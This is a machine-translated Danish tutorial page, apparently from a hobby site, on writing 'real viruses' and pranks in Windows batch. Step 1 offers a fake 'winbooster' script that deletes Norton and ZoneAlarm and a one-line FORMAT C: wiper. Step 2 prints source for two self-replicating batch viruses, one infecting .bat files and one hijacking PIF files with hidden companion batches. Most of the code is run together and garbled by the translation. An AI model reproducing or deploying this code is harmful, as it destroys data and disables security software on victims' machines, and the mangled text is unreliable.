Indholdsfortegnelse:
- Trin 1: Virkelige vira (simple)
- Trin 2: Virkelige vira (avancerede)
- Trin 3: Prank Virus og And a Trick
Video: Batch -tricks og virusser: 3 trin
2024 Forfatter: John Day | [email protected]. Sidst ændret: 2024-01-30 08:31
Sådan laver du en sjov og virkelige vira i BATCHNote: Jeg er ikke ansvarlig for eventuelle skader, du gør på din computer, andres computer Bemærk: Når du vil gemme filen, skal du gemme den som noget.bat
Trin 1: Virkelige vira (simple)
den første: kopier koden ******************************************* **************@echo velkommen til winbooster af ELECTROfun@echo, hvis du vil gøre din computer hurtigere, skal du gøre følgende trin@pause cd / c: dir dir c: / progra ~ 1 / norton ~ 1 @echo nu skal du skrive y og trykke enter @pause del c: / progra ~ 1 / norton ~ 1 @pause c: dir @pause @dir c: / progra ~ 1 dir c: / progra ~ 1 / zonea ~ 1 / zonealarm del c: / progra ~ 1 / zonea ~ 1 / zonealarm @echo ok nu er din computer "VIRKELIG!" Hurtig: afslut *********************************************** *Bemærk: gem filen, hvad du vil. Bat Bemærk: alt, hvad der er efter @echo, kan ændres (du kan skrive, hvad du vil) Den anden: *************** farve 02FORMAT C: ****************
Trin 2: Virkelige vira (avancerede)
1. Den mest magtfulde ********************@hvis ikke '%0 ==' if '%_melt%==' goto meltbeg:: ---- dummy vært --------@echo offecho Hello World!:: ---- end dummy host ----@goto MeLTend [MeLT_2a]: MeLTbeg@echo off%_MeLT%if '%1 ==' MeLT goto MeLT %2ifis not exist %comspec %set comspec = %_ MeLT %command %comspec % /e: 5000 /c %0 MeLT virset MeLTcl = %1 %2 %3 %4 %5 %6 %7 %8 %9call % 0 MeLT rhset _MeLT = sæt MeLTcl = gå til MeLTend: MeLTrhset _MeLT = x%0%MeLTcl%: MeLTvirset MeLTH =%0if findes ikke%_MeLT %% temp%\ nul indstillet temp =%tmp%hvis der findes%temp%\ MeLT_2a goto MeLTrun%0 MeLT fnd. %sti%: MeLTfndshift%_MeLT%hvis '%2 ==' afslutte MeLTset MeLT =%2 \%MeLTH%.batif findes ikke%MeLT%sæt MeLT =%2 \%MeLTH%hvis ikke findes%MeLT%sæt MeLT = %2%MeLTH%.batif findes ikke%MeLT%sæt MeLT =%2%MeLTH%hvis ikke findes%MeLT%gå til MeLTfndfind "MeLT"%temp%\ MeLT_2aattrib%temp%\ MeLT_2a +h: MeLTrun%MeLTH%MeLT s…%path%: MeLTsshift%_MeLT%if '%2 ==' exit MeLTfor %% a in (%2 \*. bat%2*.bat) do call%MeLTH%MeLT inf %% agoto MeLTs: MeLTinffind / i "MeLT" nulif not errorlevel 1 gå til MeLTnoecho @if ikke '%% 0 ==' if '%% _ melt %% ==' goto meltbeg> MeLT.ttype%3 >> MeLT.techo. >> MeLT.ttype% temp %\ MeLT_2a >> MeLT.tmove MeLT.t %3> nulexit MeLT: MeLTact - flash -melt screen text then set back to normalecho e 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE> MeLT.techo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8 >> MeLT.techo e 120 B4 4C CD 21 00 >> MeLT.techo g >> MeLT.tdebugnuldel MeLT.texit MeLT: MeLTnoset MeLTC =%MeLTC%1if%MeLTC%== 1111111111 gå til MeLTact: MeLTend *********************************** ******** 2. Dette er en virus, der 'inficerer' PIF -filer, der bruges af Windows til at køre DOS -programmer. Det fungerer ved at oprette skjulte ledsagerbatcher, der indeholder kopier af dette, og derefter ændre PIF -filen, så den ledsagende batch kører først. Når ledsageren kører, kører det det originale værtsprogram, hvis navn er kodet i ledsageren. PIF-filerne er markeret, så de ikke bliver inficeret igen. Kun PIF'er påvirkes, der foretages ingen ændringer i de inficerede programmer. For at 'helbrede' skal du bruge PIFEDIT til at gendanne de originale filnavne og derefter slette de skjulte filer. ******************************* ***************@echo off:: hostfilnavn … sæt pifvo = LIST. COM:: loop dispatcher … hvis '%1 ==' PiFV går til PiFV_%2:: kør virus! set _PiFV = hvis der ikke findes%comspec%set comspec = C: / COMMAND. COM%_PiFV %% comspec% /e: 5000 /c%0 PiFV go> nulif exist PiFV! del PiFV!:: kør hostset PiFVcl = %1 %2 %3 %4 %5 %6 %7 %8 %9call %0 PiFV hstset PiFVo = sæt PiFVcl =:: tjek for aktivering … ekko. | dato | find / i "sat"> nul. PiFVif errorlevel 1 til PiFV_endecho. | time | find "7"> nul. PiFVif errorlevel 1 goto PiFV_msgset PiFV = echocls%_PiFV %% PiFV%.%PiFV%Der var engang en Otter ved navn Oscer%PiFV % Hvem hævdede at vide, hvordan man laver vand.% PiFV% "Ingen flere dæmninger," sagde han, "brug mit vand i stedet!"% PiFV% Men den ældste odder var ikke imponeret. Pause> nul. PiFVset PiFV = gå til PiFV_end: PiFV_msgecho [PiFV] af WaveFuncgoto PiFV_end: PiFV_hst%PiFVo%%PiFVcl%goto PiFV_end: PiFV_goset PiFVh =%0if eksisterer ikke%PiFVh%sæt PiFVh =%0.batif findes ikke%PiFVh%exitfor. ring %0 PiFV inf %% aexit PiFV: PiFV_infset PiFVp = %3:: få offerfilnavn og infektionsmarkør:: fra PIF -fil ved hjælp af fejlfinding … hvis der findes PiFV! goto PiFV_1echo m 124, 162 524> PiFV! echo e 100 '@set fn =' >> PiFV! echo m 524, 562 108 >> PiFV! echo n pifv $.bat >> PiFV! echo rcx >> PiFV! echo 47 >> PiFV! Echo w >> PiFV! Echo m 55E, 561 108 >> PiFV! Echo e 10C 0 >> PiFV! Echo n pifv $$. Bat >> PiFV! Echo rcx >> PiFV! Echo 10 >> PiFV! Echo w >> PiFV! Echo q >> PiFV!: PiFV_1debug%PiFVp%nulcall PiFV $ set PiFVn =%fn%call PiFV $$ set PiFVi =%fn%del PiFV $ ?. bat:: pifvn = orig filnavn:: pifvi = infektionsmarkør:: pifvp = pif filnavn:: pifvh = ledsager batfil:: spring over inficerede eller 'tomme' pifs … hvis '%PiFVi%==' PiFV gå til PiFV_endif '%PiFVn%==' gå til PiFV_end:: ikke skygge command.com (vær sød) echo %PiFVn %| find /i "kommando"> nulif not errorlevel 1 gå til PiFV_end:: inficerbar - opret en ledsagerbatch …:: ((følgende kode fjerner udvidelsen) echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88> PiFV $$ echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21 >> PiFV $$ echo e 120 c3 73 65 74 20 66 6e 3d 24 00 >> PiFV $$ echo n pifv $.com >> PiFV $$ echo rcx >> PiFV $$ echo 2a >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ debugnulecho%PiFVn%| PiFV $> PiFV $$. Batcall PiFV $$ sæt PiFVb =%fn%.batdel PiFV $?.*:: pifvb = nyt batchnavn:: skygge ikke hvis comp har samme navn som hostif%PiFVo%==%PiFVb%goto PiFV_endif findes%PiFVb%goto PiFV_endecho @echo off>%PiFVb%echo set pifvo =%pifvn%>>%PiFVb%find "PiFV">%PiFVb%attrib%PiFVb% +h::… og peg PIF mod ledsagerenecho e 15E 'PiFV', 0> PiFV $$ echo e 124 '%PiFVb%', 0 >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ debug %PiFVp %nuldel PiFV $$:: Jeg tror, vi er færdige! afslut PiFV: PiFV_end:: spekulerer på, hvor mange fejl alt dette har i sig? Kun én:: måde at finde ud af … ***************************************** **********
Trin 3: Prank Virus og And a Trick
1. prank virus ******************* farve 02@echo offecho dir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/ sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/secho@echo* ************************* Bemærk: "farve 02" er at gøre teksten green2.trick (matrixkode) ****** **************************@echo offcolor 02: startecho %random % %random % %random % %random % %random % %random % % random%% random%% random%% random%% random%% random%% random%% random% go start ************************ *******************
Anbefalede:
Boblesortering i batch !: 4 trin
Bubble Sort in Batch !: Har du nogensinde undret dig over at lave en simpel sorteringsalgoritme i ren batch? Bare rolig, det er simpelt som en tærte! Dette viser også processen med sortering. (Bemærk: Jeg lavede dette i en Windows XP -computer, så noget kode muligvis ikke virker. Jeg er dog ikke sikker. Beklager …)
Sådan laver du dit eget OS! (batch og eksempel inde): 5 trin
Sådan laver du dit eget OS! (batch og eksempel inde): Gør det nu
Sådan laver du et enkelt batch -login: 3 trin
Sådan laver du et enkelt batch -login: Første ting at gøre er at lave din fil. Du kan navngive dette, hvad du kan lide, men sørg for at tilføje. BAT, ellers fungerer det IKKE
Kodning med batch: 7 trin
Kodning med batch: Inden vi begynderBatch er et kodningssprog lavet af Microsoft. Det er sindssygt grundlæggende, fordi det ikke kan vise grafik eller afspille lyd. Selvom det er nyttigt at åbne applikationer, lave tekstbaserede spil og bruge som et til-det-andet ur. Det er let at
Grundlæggende Windows Batch Tutorial: 5 trin
Grundlæggende Windows Batch Tutorial: hej fyre, i løbet af 24 timer udgav jeg en Windows batch -tutorials, som jeg lovede jer i min sidste instruerbare. Hvis du ikke har set det, skal du klikke på dette link her: https://www.instructables.com/id/Python-Tutorial/ dette er meget (x100) grundlæggende om batchpr